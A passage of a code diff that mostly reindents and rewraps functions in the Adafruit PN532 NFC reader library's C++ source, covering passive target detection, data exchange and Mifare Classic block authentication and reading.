| 500 | + | if (!sendCommandCheckAck(pn532_packetbuffer, 4)) | |
| 501 | + | return false; | |
| 503 | 502 | ||
| 504 | − | // read data packet | |
| 505 | − | readdata(pn532_packetbuffer, 9); | |
| 503 | + | // read data packet | |
| 504 | + | readdata(pn532_packetbuffer, 9); | |
| 506 | 505 | ||
| 507 | − | int offset = 6; | |
| 508 | − | return (pn532_packetbuffer[offset] == 0x15); | |
| 506 | + | int offset = 6; | |
| 507 | + | return (pn532_packetbuffer[offset] == 0x15); | |
| 509 | 508 | } | |
| 510 | 509 | ||
| 511 | 510 | /**************************************************************************/ | |
| @@ -519,22 +518,22 @@ bool Adafruit_PN532::SAMConfig(void) { | |||
| 519 | 518 | */ | |
| 520 | 519 | /**************************************************************************/ | |
| 521 | 520 | bool Adafruit_PN532::setPassiveActivationRetries(uint8_t maxRetries) { | |
| 522 | − | pn532_packetbuffer[0] = PN532_COMMAND_RFCONFIGURATION; | |
| 523 | − | pn532_packetbuffer[1] = 5; // Config item 5 (MaxRetries) | |
| 524 | − | pn532_packetbuffer[2] = 0xFF; // MxRtyATR (default = 0xFF) | |
| 525 | − | pn532_packetbuffer[3] = 0x01; // MxRtyPSL (default = 0x01) | |
| 526 | − | pn532_packetbuffer[4] = maxRetries; | |
| 521 | + | pn532_packetbuffer[0] = PN532_COMMAND_RFCONFIGURATION; | |
| 522 | + | pn532_packetbuffer[1] = 5; // Config item 5 (MaxRetries) | |
| 523 | + | pn532_packetbuffer[2] = 0xFF; // MxRtyATR (default = 0xFF) | |
| 524 | + | pn532_packetbuffer[3] = 0x01; // MxRtyPSL (default = 0x01) | |
| 525 | + | pn532_packetbuffer[4] = maxRetries; | |
| 527 | 526 | ||
| 528 | 527 | #ifdef MIFAREDEBUG | |
| 529 | − | PN532DEBUGPRINT.print(F("Setting MxRtyPassiveActivation to ")); | |
| 530 | − | PN532DEBUGPRINT.print(maxRetries, DEC); | |
| 531 | − | PN532DEBUGPRINT.println(F(" ")); | |
| 528 | + | PN532DEBUGPRINT.print(F("Setting MxRtyPassiveActivation to ")); | |
| 529 | + | PN532DEBUGPRINT.print(maxRetries, DEC); | |
| 530 | + | PN532DEBUGPRINT.println(F(" ")); | |
| 532 | 531 | #endif | |
| 533 | 532 | ||
| 534 | − | if (!sendCommandCheckAck(pn532_packetbuffer, 5)) | |
| 535 | − | return 0x0; // no ACK | |
| 533 | + | if (!sendCommandCheckAck(pn532_packetbuffer, 5)) | |
| 534 | + | return 0x0; // no ACK | |
| 536 | 535 | ||
| 537 | − | return 1; | |
| 536 | + | return 1; | |
| 538 | 537 | } | |
| 539 | 538 | ||
| 540 | 539 | /***** ISO14443A Commands ******/ | |
| @@ -556,18 +555,19 @@ bool Adafruit_PN532::setPassiveActivationRetries(uint8_t maxRetries) { | |||
| 556 | 555 | /**************************************************************************/ | |
| 557 | 556 | bool Adafruit_PN532::readPassiveTargetID(uint8_t cardbaudrate, uint8_t *uid, | |
| 558 | 557 | uint8_t *uidLength, uint16_t timeout) { | |
| 559 | − | pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; | |
| 560 | − | pn532_packetbuffer[1] = 1; // max 1 cards at once (we can set this to 2 later) | |
| 561 | − | pn532_packetbuffer[2] = cardbaudrate; | |
| 558 | + | pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; | |
| 559 | + | pn532_packetbuffer[1] = | |
| 560 | + | 1; // max 1 cards at once (we can set this to 2 later) | |
| 561 | + | pn532_packetbuffer[2] = cardbaudrate; | |
| 562 | 562 | ||
| 563 | − | if (!sendCommandCheckAck(pn532_packetbuffer, 3, timeout)) { | |
| 563 | + | if (!sendCommandCheckAck(pn532_packetbuffer, 3, timeout)) { | |
| 564 | 564 | #ifdef PN532DEBUG | |
| 565 | − | PN532DEBUGPRINT.println(F("No card(s) read")); | |
| 565 | + | PN532DEBUGPRINT.println(F("No card(s) read")); | |
| 566 | 566 | #endif | |
| 567 | − | return 0x0; // no cards read | |
| 568 | − | } | |
| 567 | + | return 0x0; // no cards read | |
| 568 | + | } | |
| 569 | 569 | ||
| 570 | − | return readDetectedPassiveTargetID(uid, uidLength); | |
| 570 | + | return readDetectedPassiveTargetID(uid, uidLength); | |
| 571 | 571 | } | |
| 572 | 572 | ||
| 573 | 573 | /**************************************************************************/ | |
| @@ -579,11 +579,12 @@ bool Adafruit_PN532::readPassiveTargetID(uint8_t cardbaudrate, uint8_t *uid, | |||
| 579 | 579 | */ | |
| 580 | 580 | /**************************************************************************/ | |
| 581 | 581 | bool Adafruit_PN532::startPassiveTargetIDDetection(uint8_t cardbaudrate) { | |
| 582 | − | pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; | |
| 583 | − | pn532_packetbuffer[1] = 1; // max 1 cards at once (we can set this to 2 later) | |
| 584 | − | pn532_packetbuffer[2] = cardbaudrate; | |
| 582 | + | pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; | |
| 583 | + | pn532_packetbuffer[1] = | |
| 584 | + | 1; // max 1 cards at once (we can set this to 2 later) | |
| 585 | + | pn532_packetbuffer[2] = cardbaudrate; | |
| 585 | 586 | ||
| 586 | − | return sendCommandCheckAck(pn532_packetbuffer, 3); | |
| 587 | + | return sendCommandCheckAck(pn532_packetbuffer, 3); | |
| 587 | 588 | } | |
| 588 | 589 | ||
| 589 | 590 | /**************************************************************************/ | |
| @@ -600,57 +601,57 @@ bool Adafruit_PN532::startPassiveTargetIDDetection(uint8_t cardbaudrate) { | |||
| 600 | 601 | /**************************************************************************/ | |
| 601 | 602 | bool Adafruit_PN532::readDetectedPassiveTargetID(uint8_t *uid, | |
| 602 | 603 | uint8_t *uidLength) { | |
| 603 | − | // read data packet | |
| 604 | − | readdata(pn532_packetbuffer, 20); | |
| 605 | − | // check some basic stuff | |
| 606 | − | ||
| 607 | − | /* ISO14443A card response should be in the following format: | |
| 608 | − | ||
| 609 | − | byte Description | |
| 610 | − | ------------- ------------------------------------------ | |
| 611 | − | b0..6 Frame header and preamble | |
| 612 | − | b7 Tags Found | |
| 613 | − | b8 Tag Number (only one used in this example) | |
| 614 | − | b9..10 SENS_RES | |
| 615 | − | b11 SEL_RES | |
| 616 | − | b12 NFCID Length | |
| 617 | − | b13..NFCIDLen NFCID */ | |
| 604 | + | // read data packet | |
| 605 | + | readdata(pn532_packetbuffer, 20); | |
| 606 | + | // check some basic stuff | |
| 607 | + | ||
| 608 | + | /* ISO14443A card response should be in the following format: | |
| 609 | + | ||
| 610 | + | byte Description | |
| 611 | + | ------------- ------------------------------------------ | |
| 612 | + | b0..6 Frame header and preamble | |
| 613 | + | b7 Tags Found | |
| 614 | + | b8 Tag Number (only one used in this example) | |
| 615 | + | b9..10 SENS_RES | |
| 616 | + | b11 SEL_RES | |
| 617 | + | b12 NFCID Length | |
| 618 | + | b13..NFCIDLen NFCID */ | |
| 618 | 619 | ||
| 619 | 620 | #ifdef MIFAREDEBUG | |
| 620 | − | PN532DEBUGPRINT.print(F("Found ")); | |
| 621 | − | PN532DEBUGPRINT.print(pn532_packetbuffer[7], DEC); | |
| 622 | − | PN532DEBUGPRINT.println(F(" tags")); | |
| 621 | + | PN532DEBUGPRINT.print(F("Found ")); | |
| 622 | + | PN532DEBUGPRINT.print(pn532_packetbuffer[7], DEC); | |
| 623 | + | PN532DEBUGPRINT.println(F(" tags")); | |
| 623 | 624 | #endif | |
| 624 | − | if (pn532_packetbuffer[7] != 1) | |
| 625 | − | return 0; | |
| 625 | + | if (pn532_packetbuffer[7] != 1) | |
| 626 | + | return 0; | |
| 626 | 627 | ||
| 627 | − | uint16_t sens_res = pn532_packetbuffer[9]; | |
| 628 | − | sens_res <<= 8; | |
| 629 | − | sens_res |= pn532_packetbuffer[10]; | |
| 628 | + | uint16_t sens_res = pn532_packetbuffer[9]; | |
| 629 | + | sens_res <<= 8; | |
| 630 | + | sens_res |= pn532_packetbuffer[10]; | |
| 630 | 631 | #ifdef MIFAREDEBUG | |
| 631 | − | PN532DEBUGPRINT.print(F("ATQA: 0x")); | |
| 632 | − | PN532DEBUGPRINT.println(sens_res, HEX); | |
| 633 | − | PN532DEBUGPRINT.print(F("SAK: 0x")); | |
| 634 | − | PN532DEBUGPRINT.println(pn532_packetbuffer[11], HEX); | |
| 632 | + | PN532DEBUGPRINT.print(F("ATQA: 0x")); | |
| 633 | + | PN532DEBUGPRINT.println(sens_res, HEX); | |
| 634 | + | PN532DEBUGPRINT.print(F("SAK: 0x")); | |
| 635 | + | PN532DEBUGPRINT.println(pn532_packetbuffer[11], HEX); | |
| 635 | 636 | #endif | |
| 636 | 637 | ||
| 637 | − | /* Card appears to be Mifare Classic */ | |
| 638 | − | *uidLength = pn532_packetbuffer[12]; | |
| 638 | + | /* Card appears to be Mifare Classic */ | |
| 639 | + | *uidLength = pn532_packetbuffer[12]; | |
| 639 | 640 | #ifdef MIFAREDEBUG | |
| 640 | − | PN532DEBUGPRINT.print(F("UID:")); | |
| 641 | + | PN532DEBUGPRINT.print(F("UID:")); | |
| 641 | 642 | #endif | |
| 642 | − | for (uint8_t i = 0; i < pn532_packetbuffer[12]; i++) { | |
| 643 | − | uid[i] = pn532_packetbuffer[13 + i]; | |
| 643 | + | for (uint8_t i = 0; i < pn532_packetbuffer[12]; i++) { | |
| 644 | + | uid[i] = pn532_packetbuffer[13 + i]; | |
| 644 | 645 | #ifdef MIFAREDEBUG | |
| 645 | − | PN532DEBUGPRINT.print(F(" 0x")); | |
| 646 | − | PN532DEBUGPRINT.print(uid[i], HEX); | |
| 646 | + | PN532DEBUGPRINT.print(F(" 0x")); | |
| 647 | + | PN532DEBUGPRINT.print(uid[i], HEX); | |
| 647 | 648 | #endif | |
| 648 | − | } | |
| 649 | + | } | |
| 649 | 650 | #ifdef MIFAREDEBUG | |
| 650 | − | PN532DEBUGPRINT.println(); | |
| 651 | + | PN532DEBUGPRINT.println(); | |
| 651 | 652 | #endif | |
| 652 | 653 | ||
| 653 | − | return 1; | |
| 654 | + | return 1; | |
| 654 | 655 | } | |
| 655 | 656 | ||
| 656 | 657 | /**************************************************************************/ | |
| @@ -667,77 +668,77 @@ bool Adafruit_PN532::readDetectedPassiveTargetID(uint8_t *uid, | |||
| 667 | 668 | bool Adafruit_PN532::inDataExchange(uint8_t *send, uint8_t sendLength, | |
| 668 | 669 | uint8_t *response, | |
| 669 | 670 | uint8_t *responseLength) { | |
| 670 | − | if (sendLength > PN532_PACKBUFFSIZ - 2) { | |
| 671 | + | if (sendLength > PN532_PACKBUFFSIZ - 2) { | |
| 671 | 672 | #ifdef PN532DEBUG | |
| 672 | − | PN532DEBUGPRINT.println(F("APDU length too long for packet buffer")); | |
| 673 | + | PN532DEBUGPRINT.println(F("APDU length too long for packet buffer")); | |
| 673 | 674 | #endif | |
| 674 | − | return false; | |
| 675 | − | } | |
| 676 | − | uint8_t i; | |
| 675 | + | return false; | |
| 676 | + | } | |
| 677 | + | uint8_t i; | |
| 677 | 678 | ||
| 678 | − | pn532_packetbuffer[0] = 0x40; // PN532_COMMAND_INDATAEXCHANGE; | |
| 679 | − | pn532_packetbuffer[1] = _inListedTag; | |
| 680 | − | for (i = 0; i < sendLength; ++i) { | |
| 681 | − | pn532_packetbuffer[i + 2] = send[i]; | |
| 682 | − | } | |
| 679 | + | pn532_packetbuffer[0] = 0x40; // PN532_COMMAND_INDATAEXCHANGE; | |
| 680 | + | pn532_packetbuffer[1] = _inListedTag; | |
| 681 | + | for (i = 0; i < sendLength; ++i) { | |
| 682 | + | pn532_packetbuffer[i + 2] = send[i]; | |
| 683 | + | } | |
| 683 | 684 | ||
| 684 | − | if (!sendCommandCheckAck(pn532_packetbuffer, sendLength + 2, 1000)) { | |
| 685 | + | if (!sendCommandCheckAck(pn532_packetbuffer, sendLength + 2, 1000)) { | |
| 685 | 686 | #ifdef PN532DEBUG | |
| 686 | − | PN532DEBUGPRINT.println(F("Could not send APDU")); | |
| 687 | + | PN532DEBUGPRINT.println(F("Could not send APDU")); | |
| 687 | 688 | #endif | |
| 688 | − | return false; | |
| 689 | − | } | |
| 689 | + | return false; | |
| 690 | + | } | |
| 690 | 691 | ||
| 691 | − | if (!waitready(1000)) { | |
| 692 | + | if (!waitready(1000)) { | |
| 692 | 693 | #ifdef PN532DEBUG | |
| 693 | − | PN532DEBUGPRINT.println(F("Response never received for APDU...")); | |
| 694 | + | PN532DEBUGPRINT.println(F("Response never received for APDU...")); | |
| 694 | 695 | #endif | |
| 695 | − | return false; | |
| 696 | − | } | |
| 696 | + | return false; | |
| 697 | + | } | |
| 697 | 698 | ||
| 698 | − | readdata(pn532_packetbuffer, sizeof(pn532_packetbuffer)); | |
| 699 | + | readdata(pn532_packetbuffer, sizeof(pn532_packetbuffer)); | |
| 699 | 700 | ||
| 700 | − | if (pn532_packetbuffer[0] == 0 && pn532_packetbuffer[1] == 0 && | |
| 701 | − | pn532_packetbuffer[2] == 0xff) { | |
| 702 | − | uint8_t length = pn532_packetbuffer[3]; | |
| 703 | − | if (pn532_packetbuffer[4] != (uint8_t)(~length + 1)) { | |
| 701 | + | if (pn532_packetbuffer[0] == 0 && pn532_packetbuffer[1] == 0 && | |
| 702 | + | pn532_packetbuffer[2] == 0xff) { | |
| 703 | + | uint8_t length = pn532_packetbuffer[3]; | |
| 704 | + | if (pn532_packetbuffer[4] != (uint8_t)(~length + 1)) { | |
| 704 | 705 | #ifdef PN532DEBUG | |
| 705 | − | PN532DEBUGPRINT.println(F("Length check invalid")); | |
| 706 | − | PN532DEBUGPRINT.println(length, HEX); | |
| 707 | − | PN532DEBUGPRINT.println((~length) + 1, HEX); | |
| 706 | + | PN532DEBUGPRINT.println(F("Length check invalid")); | |
| 707 | + | PN532DEBUGPRINT.println(length, HEX); | |
| 708 | + | PN532DEBUGPRINT.println((~length) + 1, HEX); | |
| 708 | 709 | #endif | |
| 709 | − | return false; | |
| 710 | − | } | |
| 711 | − | if (pn532_packetbuffer[5] == PN532_PN532TOHOST && | |
| 712 | − | pn532_packetbuffer[6] == PN532_RESPONSE_INDATAEXCHANGE) { | |
| 713 | − | if ((pn532_packetbuffer[7] & 0x3f) != 0) { | |
| 710 | + | return false; | |
| 711 | + | } | |
| 712 | + | if (pn532_packetbuffer[5] == PN532_PN532TOHOST && | |
| 713 | + | pn532_packetbuffer[6] == PN532_RESPONSE_INDATAEXCHANGE) { | |
| 714 | + | if ((pn532_packetbuffer[7] & 0x3f) != 0) { | |
| 714 | 715 | #ifdef PN532DEBUG | |
| 715 | − | PN532DEBUGPRINT.println(F("Status code indicates an error")); | |
| 716 | + | PN532DEBUGPRINT.println(F("Status code indicates an error")); | |
| 716 | 717 | #endif | |
| 717 | − | return false; | |
| 718 | − | } | |
| 719 | − | ||
| 720 | − | length -= 3; | |
| 721 | − | ||
| 722 | − | if (length > *responseLength) { | |
| 723 | − | length = *responseLength; // silent truncation... | |
| 724 | − | } | |
| 725 | − | ||
| 726 | − | for (i = 0; i < length; ++i) { | |
| 727 | − | response[i] = pn532_packetbuffer[8 + i]; | |
| 728 | − | } | |
| 729 | − | *responseLength = length; | |
| 730 | − | ||
| 731 | − | return true; | |
| 718 | + | return false; | |
| 719 | + | } | |
| 720 | + | ||
| 721 | + | length -= 3; | |
| 722 | + | ||
| 723 | + | if (length > *responseLength) { | |
| 724 | + | length = *responseLength; // silent truncation... | |
| 725 | + | } | |
| 726 | + | ||
| 727 | + | for (i = 0; i < length; ++i) { | |
| 728 | + | response[i] = pn532_packetbuffer[8 + i]; | |
| 729 | + | } | |
| 730 | + | *responseLength = length; | |
| 731 | + | ||
| 732 | + | return true; | |
| 733 | + | } else { | |
| 734 | + | PN532DEBUGPRINT.print(F("Don't know how to handle this command: ")); | |
| 735 | + | PN532DEBUGPRINT.println(pn532_packetbuffer[6], HEX); | |
| 736 | + | return false; | |
| 737 | + | } | |
| 732 | 738 | } else { | |
| 733 | − | PN532DEBUGPRINT.print(F("Don't know how to handle this command: ")); | |
| 734 | − | PN532DEBUGPRINT.println(pn532_packetbuffer[6], HEX); | |
| 735 | − | return false; | |
| 739 | + | PN532DEBUGPRINT.println(F("Preamble missing")); | |
| 740 | + | return false; | |
| 736 | 741 | } | |
| 737 | − | } else { | |
| 738 | − | PN532DEBUGPRINT.println(F("Preamble missing")); | |
| 739 | − | return false; | |
| 740 | − | } | |
| 741 | 742 | } | |
| 742 | 743 | ||
| 743 | 744 | /**************************************************************************/ | |
| @@ -748,68 +749,70 @@ bool Adafruit_PN532::inDataExchange(uint8_t *send, uint8_t sendLength, | |||
| 748 | 749 | */ | |
| 749 | 750 | /**************************************************************************/ | |
| 750 | 751 | bool Adafruit_PN532::inListPassiveTarget() { | |
| 751 | − | pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; | |
| 752 | − | pn532_packetbuffer[1] = 1; | |
| 753 | − | pn532_packetbuffer[2] = 0; | |
| 752 | + | pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; | |
| 753 | + | pn532_packetbuffer[1] = 1; | |
| 754 | + | pn532_packetbuffer[2] = 0; | |
| 754 | 755 | ||
| 755 | 756 | #ifdef PN532DEBUG | |
| 756 | − | PN532DEBUGPRINT.print(F("About to inList passive target")); | |
| 757 | + | PN532DEBUGPRINT.print(F("About to inList passive target")); | |
| 757 | 758 | #endif | |
| 758 | 759 | ||
| 759 | − | if (!sendCommandCheckAck(pn532_packetbuffer, 3, 1000)) { | |
| 760 | + | if (!sendCommandCheckAck(pn532_packetbuffer, 3, 1000)) { | |
| 760 | 761 | #ifdef PN532DEBUG | |
| 761 | − | PN532DEBUGPRINT.println(F("Could not send inlist message")); | |
| 762 | + | PN532DEBUGPRINT.println(F("Could not send inlist message")); | |
| 762 | 763 | #endif | |
| 763 | − | return false; | |
| 764 | − | } | |
| 764 | + | return false; | |
| 765 | + | } | |
| 765 | 766 | ||
| 766 | − | if (!waitready(30000)) { | |
| 767 | − | return false; | |
| 768 | − | } | |
| 767 | + | if (!waitready(30000)) { | |
| 768 | + | return false; | |
| 769 | + | } | |
| 769 | 770 | ||
| 770 | − | readdata(pn532_packetbuffer, sizeof(pn532_packetbuffer)); | |
| 771 | + | readdata(pn532_packetbuffer, sizeof(pn532_packetbuffer)); | |
| 771 | 772 | ||
| 772 | − | if (pn532_packetbuffer[0] == 0 && pn532_packetbuffer[1] == 0 && | |
| 773 | − | pn532_packetbuffer[2] == 0xff) { | |
| 774 | − | uint8_t length = pn532_packetbuffer[3]; | |
| 775 | − | if (pn532_packetbuffer[4] != (uint8_t)(~length + 1)) { | |
| 773 | + | if (pn532_packetbuffer[0] == 0 && pn532_packetbuffer[1] == 0 && | |
| 774 | + | pn532_packetbuffer[2] == 0xff) { | |
| 775 | + | uint8_t length = pn532_packetbuffer[3]; | |
| 776 | + | if (pn532_packetbuffer[4] != (uint8_t)(~length + 1)) { | |
| 776 | 777 | #ifdef PN532DEBUG | |
| 777 | − | PN532DEBUGPRINT.println(F("Length check invalid")); | |
| 778 | − | PN532DEBUGPRINT.println(length, HEX); | |
| 779 | − | PN532DEBUGPRINT.println((~length) + 1, HEX); | |
| 778 | + | PN532DEBUGPRINT.println(F("Length check invalid")); | |
| 779 | + | PN532DEBUGPRINT.println(length, HEX); | |
| 780 | + | PN532DEBUGPRINT.println((~length) + 1, HEX); | |
| 780 | 781 | #endif | |
| 781 | − | return false; | |
| 782 | − | } | |
| 783 | − | if (pn532_packetbuffer[5] == PN532_PN532TOHOST && | |
| 784 | − | pn532_packetbuffer[6] == PN532_RESPONSE_INLISTPASSIVETARGET) { | |
| 785 | − | if (pn532_packetbuffer[7] != 1) { | |
| 782 | + | return false; | |
| 783 | + | } | |
| 784 | + | if (pn532_packetbuffer[5] == PN532_PN532TOHOST && | |
| 785 | + | pn532_packetbuffer[6] == PN532_RESPONSE_INLISTPASSIVETARGET) { | |
| 786 | + | if (pn532_packetbuffer[7] != 1) { | |
| 786 | 787 | #ifdef PN532DEBUG | |
| 787 | − | PN532DEBUGPRINT.println(F("Unhandled number of targets inlisted")); | |
| 788 | + | PN532DEBUGPRINT.println( | |
| 789 | + | F("Unhandled number of targets inlisted")); | |
| 788 | 790 | #endif | |
| 789 | − | PN532DEBUGPRINT.println(F("Number of tags inlisted:")); | |
| 790 | − | PN532DEBUGPRINT.println(pn532_packetbuffer[7]); | |
| 791 | − | return false; | |
| 792 | − | } | |
| 791 | + | PN532DEBUGPRINT.println(F("Number of tags inlisted:")); | |
| 792 | + | PN532DEBUGPRINT.println(pn532_packetbuffer[7]); | |
| 793 | + | return false; | |
| 794 | + | } | |
| 793 | 795 | ||
| 794 | − | _inListedTag = pn532_packetbuffer[8]; | |
| 795 | − | PN532DEBUGPRINT.print(F("Tag number: ")); | |
| 796 | − | PN532DEBUGPRINT.println(_inListedTag); | |
| 796 | + | _inListedTag = pn532_packetbuffer[8]; | |
| 797 | + | PN532DEBUGPRINT.print(F("Tag number: ")); | |
| 798 | + | PN532DEBUGPRINT.println(_inListedTag); | |
| 797 | 799 | ||
| 798 | − | return true; | |
| 799 | − | } else { | |
| 800 | + | return true; | |
| 801 | + | } else { | |
| 800 | 802 | #ifdef PN532DEBUG | |
| 801 | − | PN532DEBUGPRINT.print(F("Unexpected response to inlist passive host")); | |
| 803 | + | PN532DEBUGPRINT.print( | |
| 804 | + | F("Unexpected response to inlist passive host")); | |
| 802 | 805 | #endif | |
| 803 | − | return false; | |
| 804 | − | } | |
| 805 | − | } else { | |
| 806 | + | return false; | |
| 807 | + | } | |
| 808 | + | } else { | |
| 806 | 809 | #ifdef PN532DEBUG | |
| 807 | − | PN532DEBUGPRINT.println(F("Preamble missing")); | |
| 810 | + | PN532DEBUGPRINT.println(F("Preamble missing")); | |
| 808 | 811 | #endif | |
| 809 | − | return false; | |
| 810 | − | } | |
| 812 | + | return false; | |
| 813 | + | } | |
| 811 | 814 | ||
| 812 | − | return true; | |
| 815 | + | return true; | |
| 813 | 816 | } | |
| 814 | 817 | ||
| 815 | 818 | /***** Mifare Classic Functions ******/ | |
| @@ -823,11 +826,11 @@ bool Adafruit_PN532::inListPassiveTarget() { | |||
| 823 | 826 | */ | |
| 824 | 827 | /**************************************************************************/ | |
| 825 | 828 | bool Adafruit_PN532::mifareclassic_IsFirstBlock(uint32_t uiBlock) { | |
| 826 | − | // Test if we are in the small or big sectors | |
| 827 | − | if (uiBlock < 128) | |
| 828 | − | return ((uiBlock) % 4 == 0); | |
| 829 | − | else | |
| 830 | − | return ((uiBlock) % 16 == 0); | |
| 829 | + | // Test if we are in the small or big sectors | |
| 830 | + | if (uiBlock < 128) | |
| 831 | + | return ((uiBlock) % 4 == 0); | |
| 832 | + | else | |
| 833 | + | return ((uiBlock) % 16 == 0); | |
| 831 | 834 | } | |
| 832 | 835 | ||
| 833 | 836 | /**************************************************************************/ | |
| @@ -839,11 +842,11 @@ bool Adafruit_PN532::mifareclassic_IsFirstBlock(uint32_t uiBlock) { | |||
| 839 | 842 | */ | |
| 840 | 843 | /**************************************************************************/ | |
| 841 | 844 | bool Adafruit_PN532::mifareclassic_IsTrailerBlock(uint32_t uiBlock) { | |
| 842 | − | // Test if we are in the small or big sectors | |
| 843 | − | if (uiBlock < 128) | |
| 844 | − | return ((uiBlock + 1) % 4 == 0); | |
| 845 | − | else | |
| 846 | − | return ((uiBlock + 1) % 16 == 0); | |
| 845 | + | // Test if we are in the small or big sectors | |
| 846 | + | if (uiBlock < 128) | |
| 847 | + | return ((uiBlock + 1) % 4 == 0); | |
| 848 | + | else | |
| 849 | + | return ((uiBlock + 1) % 16 == 0); | |
| 847 | 850 | } | |
| 848 | 851 | ||
| 849 | 852 | /**************************************************************************/ | |
| @@ -870,54 +873,54 @@ uint8_t Adafruit_PN532::mifareclassic_AuthenticateBlock(uint8_t *uid, | |||
| 870 | 873 | uint32_t blockNumber, | |
| 871 | 874 | uint8_t keyNumber, | |
| 872 | 875 | uint8_t *keyData) { | |
| 873 | − | // uint8_t len; | |
| 874 | − | uint8_t i; | |
| 876 | + | // uint8_t len; | |
| 877 | + | uint8_t i; | |
| 875 | 878 | ||
| 876 | − | // Hang on to the key and uid data | |
| 877 | − | memcpy(_key, keyData, 6); | |
| 878 | − | memcpy(_uid, uid, uidLen); | |
| 879 | − | _uidLen = uidLen; | |
| 879 | + | // Hang on to the key and uid data | |
| 880 | + | memcpy(_key, keyData, 6); | |
| 881 | + | memcpy(_uid, uid, uidLen); | |
| 882 | + | _uidLen = uidLen; | |
| 880 | 883 | ||
| 881 | 884 | #ifdef MIFAREDEBUG | |
| 882 | − | PN532DEBUGPRINT.print(F("Trying to authenticate card ")); | |
| 883 | − | Adafruit_PN532::PrintHex(_uid, _uidLen); | |
| 884 | − | PN532DEBUGPRINT.print(F("Using authentication KEY ")); | |
| 885 | − | PN532DEBUGPRINT.print(keyNumber ? 'B' : 'A'); | |
| 886 | − | PN532DEBUGPRINT.print(F(": ")); | |
| 887 | − | Adafruit_PN532::PrintHex(_key, 6); | |
| 885 | + | PN532DEBUGPRINT.print(F("Trying to authenticate card ")); | |
| 886 | + | Adafruit_PN532::PrintHex(_uid, _uidLen); | |
| 887 | + | PN532DEBUGPRINT.print(F("Using authentication KEY ")); | |
| 888 | + | PN532DEBUGPRINT.print(keyNumber ? 'B' : 'A'); | |
| 889 | + | PN532DEBUGPRINT.print(F(": ")); | |
| 890 | + | Adafruit_PN532::PrintHex(_key, 6); | |
| 888 | 891 | #endif | |
| 889 | 892 | ||
| 890 | − | // Prepare the authentication command // | |
| 891 | − | pn532_packetbuffer[0] = | |
| 892 | − | PN532_COMMAND_INDATAEXCHANGE; /* Data Exchange Header */ | |
| 893 | − | pn532_packetbuffer[1] = 1; /* Max card numbers */ | |
| 894 | − | pn532_packetbuffer[2] = (keyNumber) ? MIFARE_CMD_AUTH_B : MIFARE_CMD_AUTH_A; | |
| 895 | − | pn532_packetbuffer[3] = | |
| 896 | − | blockNumber; /* Block Number (1K = 0..63, 4K = 0..255 */ | |
| 897 | − | memcpy(pn532_packetbuffer + 4, _key, 6); | |
| 898 | − | for (i = 0; i < _uidLen; i++) { | |
| 899 | − | pn532_packetbuffer[10 + i] = _uid[i]; /* 4 byte card ID */ | |
| 900 | − | } | |
| 901 | − | ||
| 902 | − | if (!sendCommandCheckAck(pn532_packetbuffer, 10 + _uidLen)) | |
| 903 | − | return 0; | |
| 904 | − | ||
| 905 | − | // Read the response packet | |
| 906 | − | readdata(pn532_packetbuffer, 12); | |
| 907 | − | ||
| 908 | − | // check if the response is valid and we are authenticated??? | |
| 909 | − | // for an auth success it should be bytes 5-7: 0xD5 0x41 0x00 | |
| 910 | − | // Mifare auth error is technically byte 7: 0x14 but anything other and 0x00 | |
| 911 | − | // is not good | |
| 912 | − | if (pn532_packetbuffer[7] != 0x00) { | |
| 893 | + | // Prepare the authentication command // | |
| 894 | + | pn532_packetbuffer[0] = | |
| 895 | + | PN532_COMMAND_INDATAEXCHANGE; /* Data Exchange Header */ | |
| 896 | + | pn532_packetbuffer[1] = 1; /* Max card numbers */ | |
| 897 | + | pn532_packetbuffer[2] = (keyNumber) ? MIFARE_CMD_AUTH_B : MIFARE_CMD_AUTH_A; | |
| 898 | + | pn532_packetbuffer[3] = | |
| 899 | + | blockNumber; /* Block Number (1K = 0..63, 4K = 0..255 */ | |
| 900 | + | memcpy(pn532_packetbuffer + 4, _key, 6); | |
| 901 | + | for (i = 0; i < _uidLen; i++) { | |
| 902 | + | pn532_packetbuffer[10 + i] = _uid[i]; /* 4 byte card ID */ | |
| 903 | + | } | |
| 904 | + | ||
| 905 | + | if (!sendCommandCheckAck(pn532_packetbuffer, 10 + _uidLen)) | |
| 906 | + | return 0; | |
| 907 | + | ||
| 908 | + | // Read the response packet | |
| 909 | + | readdata(pn532_packetbuffer, 12); | |
| 910 | + | ||
| 911 | + | // check if the response is valid and we are authenticated??? | |
| 912 | + | // for an auth success it should be bytes 5-7: 0xD5 0x41 0x00 | |
| 913 | + | // Mifare auth error is technically byte 7: 0x14 but anything other and 0x00 | |
| 914 | + | // is not good | |
| 915 | + | if (pn532_packetbuffer[7] != 0x00) { | |
| 913 | 916 | #ifdef PN532DEBUG | |
| 914 | − | PN532DEBUGPRINT.print(F("Authentification failed: ")); | |
| 915 | − | Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 12); | |
| 917 | + | PN532DEBUGPRINT.print(F("Authentification failed: ")); | |
| 918 | + | Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 12); | |
| 916 | 919 | #endif | |
| 917 | − | return 0; | |
| 918 | − | } | |
| 920 | + | return 0; | |
| 921 | + | } | |
| 919 | 922 | ||
| 920 | − | return 1; | |
| 923 | + | return 1; | |
| 921 | 924 | } | |
| 922 | 925 | ||
| 923 | 926 | /**************************************************************************/ | |
| @@ -936,49 +939,49 @@ uint8_t Adafruit_PN532::mifareclassic_AuthenticateBlock(uint8_t *uid, | |||
| 936 | 939 | uint8_t Adafruit_PN532::mifareclassic_ReadDataBlock(uint8_t blockNumber, | |
| 937 | 940 | uint8_t *data) { | |
| 938 | 941 | #ifdef MIFAREDEBUG | |
| 939 | − | PN532DEBUGPRINT.print(F("Trying to read 16 bytes from block ")); | |
| 940 | − | PN532DEBUGPRINT.println(blockNumber); | |
| 942 | + | PN532DEBUGPRINT.print(F("Trying to read 16 bytes from block ")); | |
| 943 | + | PN532DEBUGPRINT.println(blockNumber); | |
| 941 | 944 | #endif | |
| 942 | 945 | ||
| 943 | − | /* Prepare the command */ | |
| 944 | − | pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; | |
| 945 | − | pn532_packetbuffer[1] = 1; /* Card number */ | |
